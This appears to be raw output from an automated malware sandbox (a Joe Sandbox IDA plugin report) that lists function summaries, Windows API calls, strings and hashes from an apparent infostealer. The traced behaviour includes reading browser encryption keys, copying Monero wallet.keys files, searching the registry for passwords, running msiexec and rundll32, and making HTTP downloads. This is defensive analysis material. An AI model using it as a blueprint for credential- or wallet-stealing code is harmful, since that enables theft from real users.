Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 29998bb1082106a528458819ae243223b2866c2c5e3afb183c3698b94150c29a
Instruction ID: b7917b030109f85454c69e62425d2c74da53e66283b06753eeff3831c5abc2df
Opcode Fuzzy Hash: 29998bb1082106a528458819ae243223b2866c2c5e3afb183c3698b94150c29a
Instruction Fuzzy Hash: 0D71CAB5910208ABDB08EBE4DD89FEEB7BDFB48704F108518F515EB690DB34A905CB61

Function 00692E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

ShellExecuteEx.SHELL32(0000003C), ref: 006931C5
ShellExecuteEx.SHELL32(0000003C), ref: 0069335D
ShellExecuteEx.SHELL32(0000003C), ref: 006934EA

Strings

<, xrefs: 00693490
.dll, xrefs: 006931E5
.msi, xrefs: 00693398
C:\Windows\system32\msiexec.exe, xrefs: 006934BF
/i ", xrefs: 006933E4
"" , xrefs: 0069309A
/passive, xrefs: 0069345B
C:\Windows\system32\rundll32.exe, xrefs: 00693332

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<$C:\Windows\system32\msiexec.exe$C:\Windows\system32\rundll32.exe
API String ID: 2507796910-3625054190
Opcode ID: a0e239f8fcd2ac92abe91e76dd30eb0eb593b512bd29506129933a608acba187
Instruction ID: 6e3e8f0b1fa26100ff6e87184840aaefff08e8e2ad76550b821645d7392c3dd9
Opcode Fuzzy Hash: a0e239f8fcd2ac92abe91e76dd30eb0eb593b512bd29506129933a608acba187
Instruction Fuzzy Hash: 48120A718101189ADF49FBE0CD92EEEB7BEAF14300F50415DE50666591EF302B4ACFAA

Function 006952C0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 139stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 00686280: InternetOpenA.WININET(006A0DFE,00000001,00000000,00000000,00000000), ref: 006862E1
Part of subcall function 00686280: StrCmpCA.SHLWAPI(?,0148E838), ref: 00686303
Part of subcall function 00686280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00686335
Part of subcall function 00686280: HttpOpenRequestA.WININET(00000000,GET,?,0148DF30,00000000,00000000,00400100,00000000), ref: 00686385
Part of subcall function 00686280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006863BF
Part of subcall function 00686280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006863D1

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

StrCmpCA.SHLWAPI(00000000,ERROR,00000000), ref: 00695318
lstrlen.KERNEL32(00000000), ref: 0069532F

Part of subcall function 00698E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00698E52

StrStrA.SHLWAPI(00000000,00000000), ref: 00695364
lstrlen.KERNEL32(00000000), ref: 00695383
lstrlen.KERNEL32(00000000), ref: 006953AE

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Strings

ERROR, xrefs: 0069546F
ERROR, xrefs: 006953B9
ERROR, xrefs: 00695432
ERROR, xrefs: 0069530A
ERROR, xrefs: 006954A9

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Internetlstrcpylstrlen$HttpOpenRequest$AllocConnectLocalOptionSend
String ID: ERROR$ERROR$ERROR$ERROR$ERROR
API String ID: 3240024479-1526165396
Opcode ID: 5b602e37868a6b88f2cdd36d6f3596fde1c5a0465ad4f990caeedcef202edebc
Instruction ID: c6a5f7d302daa504ead4f7fb43d2d0a59a422babd9e3a0be752854b48decbc6f
Opcode Fuzzy Hash: 5b602e37868a6b88f2cdd36d6f3596fde1c5a0465ad4f990caeedcef202edebc
Instruction Fuzzy Hash: A751EE709211489BDF58FFA0C996AED77BEAF11304F50401CF80A5B992DF346B46CB96

Function 006912D0 Relevance: 16.8, APIs: 11, Instructions: 310COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen
String ID:
API String ID: 2001356338-0
Opcode ID: 4c20b01a37fa20038019d7692e9c955c7ff3dece9c2f34556b93b35d874943fd
Instruction ID: ec90d2d9eaa3b435079f5193e517ef74ad4aec75c11ddcdddfbb7036d1cf17c3
Opcode Fuzzy Hash: 4c20b01a37fa20038019d7692e9c955c7ff3dece9c2f34556b93b35d874943fd
Instruction Fuzzy Hash: 0CC1B4B590011D9BCF58EFA0DC89FEA73BEBF54304F10449DE40AA7641DA70AA85CFA5

Function 00694280 Relevance: 16.7, APIs: 11, Instructions: 204stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00698DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00698E0B

lstrcat.KERNEL32(?,00000000), ref: 006942EC
lstrcat.KERNEL32(?,0148E5F0), ref: 0069430B
lstrcat.KERNEL32(?,?), ref: 0069431F
lstrcat.KERNEL32(?,0148D458), ref: 00694333

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 00698D90: GetFileAttributesA.KERNEL32(00000000,?,00681B54,?,?,006A564C,?,?,006A0E1F), ref: 00698D9F

Part of subcall function 00689CE0: StrStrA.SHLWAPI(00000000,"encrypted_key":"), ref: 00689D39

Part of subcall function 006899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006899EC
Part of subcall function 006899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00689A11
Part of subcall function 006899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00689A31
Part of subcall function 006899C0: ReadFile.KERNEL32(000000FF,?,00000000,0068148F,00000000), ref: 00689A5A
Part of subcall function 006899C0: LocalFree.KERNEL32(0068148F), ref: 00689A90
Part of subcall function 006899C0: CloseHandle.KERNEL32(000000FF), ref: 00689A9A

Part of subcall function 006993C0: GlobalAlloc.KERNEL32(00000000,006943DD,006943DD), ref: 006993D3

StrStrA.SHLWAPI(?,0148E548), ref: 006943F3
GlobalFree.KERNEL32(?), ref: 00694512

Part of subcall function 00689AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nh,00000000,00000000), ref: 00689AEF
Part of subcall function 00689AC0: LocalAlloc.KERNEL32(00000040,?,?,?,00684EEE,00000000,?), ref: 00689B01
Part of subcall function 00689AC0: CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,Nh,00000000,00000000), ref: 00689B2A
Part of subcall function 00689AC0: LocalFree.KERNEL32(?,?,?,?,00684EEE,00000000,?), ref: 00689B3F

lstrcat.KERNEL32(?,00000000), ref: 006944A3
StrCmpCA.SHLWAPI(?,006A08D1), ref: 006944C0
lstrcat.KERNEL32(00000000,00000000), ref: 006944D2
lstrcat.KERNEL32(00000000,?), ref: 006944E5
lstrcat.KERNEL32(00000000,006A0FB8), ref: 006944F4

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileLocal$AllocFree$BinaryCryptGlobalString$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 3541710228-0
Opcode ID: c85ad2fe509f3a9ffd37bf362c7cb5daef36f17eb1c42fc801cb139655339cd4
Instruction ID: 5fdce2f312b23a2341599b1e7a58186a371a690ba903138efe444d4327c048ec
Opcode Fuzzy Hash: c85ad2fe509f3a9ffd37bf362c7cb5daef36f17eb1c42fc801cb139655339cd4
Instruction Fuzzy Hash: F17122B6900208ABDF54EBE4DC86FEE73BEBB48304F044598F60597181EA35DB45CBA5

Function 00681310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 006812A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 006812B4
Part of subcall function 006812A0: RtlAllocateHeap.NTDLL(00000000), ref: 006812BB
Part of subcall function 006812A0: RegOpenKeyExA.ADVAPI32(000000FF,?,00000000,00020119,?), ref: 006812D7
Part of subcall function 006812A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 006812F5
Part of subcall function 006812A0: RegCloseKey.ADVAPI32(?), ref: 006812FF

lstrcat.KERNEL32(?,00000000), ref: 0068134F
lstrlen.KERNEL32(?), ref: 0068135C
lstrcat.KERNEL32(?,.keys), ref: 00681377

Part of subcall function 0069A740: lstrcpy.KERNEL32(006A0E17,00000000), ref: 0069A788

Part of subcall function 0069A9B0: lstrlen.KERNEL32(?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 0069A9C5
Part of subcall function 0069A9B0: lstrcpy.KERNEL32(00000000), ref: 0069AA04
Part of subcall function 0069A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0069AA12

Part of subcall function 0069A8A0: lstrcpy.KERNEL32(?,006A0E17), ref: 0069A905

Part of subcall function 00698B60: GetSystemTime.KERNEL32(006A0E1A,0148A5A0,006A05AE,?,?,006813F9,?,0000001A,006A0E1A,00000000,?,014891A8,?,\Monero\wallet.keys,006A0E17), ref: 00698B86

Part of subcall function 0069A920: lstrcpy.KERNEL32(00000000,?), ref: 0069A972
Part of subcall function 0069A920: lstrcat.KERNEL32(00000000), ref: 0069A982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00681465

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006899C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 006899EC
Part of subcall function 006899C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00689A11
Part of subcall function 006899C0: LocalAlloc.KERNEL32(00000040,?), ref: 00689A31
Part of subcall function 006899C0: ReadFile.KERNEL32(000000FF,?,00000000,0068148F,00000000), ref: 00689A5A
Part of subcall function 006899C0: LocalFree.KERNEL32(0068148F), ref: 00689A90
Part of subcall function 006899C0: CloseHandle.KERNEL32(000000FF), ref: 00689A9A

DeleteFileA.KERNEL32(00000000), ref: 006814EF

Strings

.keys, xrefs: 0068136B
wallet_path, xrefs: 00681330
\Monero\wallet.keys, xrefs: 0068138D
SOFTWARE\monero-project\monero-core, xrefs: 00681335

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: b78886056738ad4ecd0d63770561e0394b749630219c8fc963ae19306ff30840
Instruction ID: 36d7a8b16930d9f4dde8a97203ef0633f180337665a348b61a92c0ae188cf90d
Opcode Fuzzy Hash: b78886056738ad4ecd0d63770561e0394b749630219c8fc963ae19306ff30840
Instruction Fuzzy Hash: 9B5133B19501185BCB55FBA0DD92FED73BEAF54300F40419CB60A66481EE706B85CFAA

Function 006875D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006872D0: RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0068733A
Part of subcall function 006872D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006873B1
Part of subcall function 006872D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0068740D
Part of subcall function 006872D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00687452
Part of subcall function 006872D0: HeapFree.KERNEL32(00000000), ref: 00687459

lstrcat.KERNEL32(00000000,006A17FC), ref: 00687606
lstrcat.KERNEL32(00000000,00000000), ref: 00687648
lstrcat.KERNEL32(00000000, : ), ref: 0068765A
lstrcat.KERNEL32(00000000,00000000), ref: 0068768F
lstrcat.KERNEL32(00000000,006A1804), ref: 006876A0
lstrcat.KERNEL32(00000000,00000000), ref: 006876D3
lstrcat.KERNEL32(00000000,006A1808), ref: 006876ED
task.LIBCPMTD ref: 006876FB

Strings

: , xrefs: 0068764E

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 1cd5b8b8600cc3dad25fa5869734a3c9993062d6d62c4f7878163db66ddaf8e4
Instruction ID: f51693d4b855e5d0c9628e1b7c94bfd501517eb267a1faa20cb030b0aeac4a35
Opcode Fuzzy Hash: 1cd5b8b8600cc3dad25fa5869734a3c9993062d6d62c4f7878163db66ddaf8e4
Instruction Fuzzy Hash: 76313872900109DFCB48FBA4DC99DFE777AFB55305B244218F102A7290DE34E946CBA6

Function 00698100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0148E3F8,00000000,?,006A0E2C,00000000,?,00000000), ref: 00698130
RtlAllocateHeap.NTDLL(00000000), ref: 00698137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00698158
__aulldiv.LIBCMT ref: 00698172
__aulldiv.LIBCMT ref: 00698180
wsprintfA.USER32 ref: 006981AC

Strings

%d MB, xrefs: 006981A3
@, xrefs: 0069814D

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: 33351d512d1a857ea09840acd349c95a2d9fb921c0afed6b864ac841f9537785
Instruction ID: 9daf2dba117d18fe385431c7dd56eb21a3f8768d4a87b5b4635ea4756dc59528
Opcode Fuzzy Hash: 33351d512d1a857ea09840acd349c95a2d9fb921c0afed6b864ac841f9537785
Instruction Fuzzy Hash: 0C2138B1E44208ABDB04DFD4CD4AFAEB7BDFB45B04F104219F605BB680C77969018BA9

Function 006860A0 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0069A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0069A7E6

Part of subcall function 006847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00684839
Part of subcall function 006847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00684849

InternetOpenA.WININET(006A0DF7,00000001,00000000,00000000,00000000), ref: 0068610F
StrCmpCA.SHLWAPI(?,0148E838), ref: 00686147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0068618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 006861B3
InternetReadFile.WININET(?,?,00000400,?), ref: 006861DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0068620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00686249
InternetCloseHandle.WININET(?), ref: 00686253
InternetCloseHandle.WININET(00000000), ref: 00686260

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.000000000073D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000762000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.00000000008DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000A5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B37000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766068296.0000000000B74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766639416.0000000000B75000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766850074.0000000000D09000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1766879303.0000000000D0A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_680000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: 4444b74a2a868f9252f40f038b0415b61c1bf4dd9b7bcd2bbb6127beda32d703
Instruction ID: 4f868e10947a5e448c6f051c7a655e6c3dc10ab58ec58b278c08abc5bb890c52
Opcode Fuzzy Hash: 4444b74a2a868f9252f40f038b0415b61c1bf4dd9b7bcd2bbb6127beda32d703
Instruction Fuzzy Hash: 3D517FB1900218ABDF24EFA0DD49FEE77B9FB04705F108198B605A72C1DB746A85CF95

Function 006872D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0068733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 006873B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0068740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00687452
HeapFree.KERNEL32(00000000), ref: 00687459
task.LIBCPMTD ref: 00687555

Strings

Password, xrefs: 00687401

Memory Dump Source

Source File: 00000000.00000002.1765888735.0000000000681000.00000040.00000001.01000000.00000003.sdmp, Offset: 00680000, based on PE: true

Associated: 00000000.00000002.1765836063.0000000000680000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1765888735.0000000000731000.00000040.00000001.01000000.00000003.sdmpDownload File
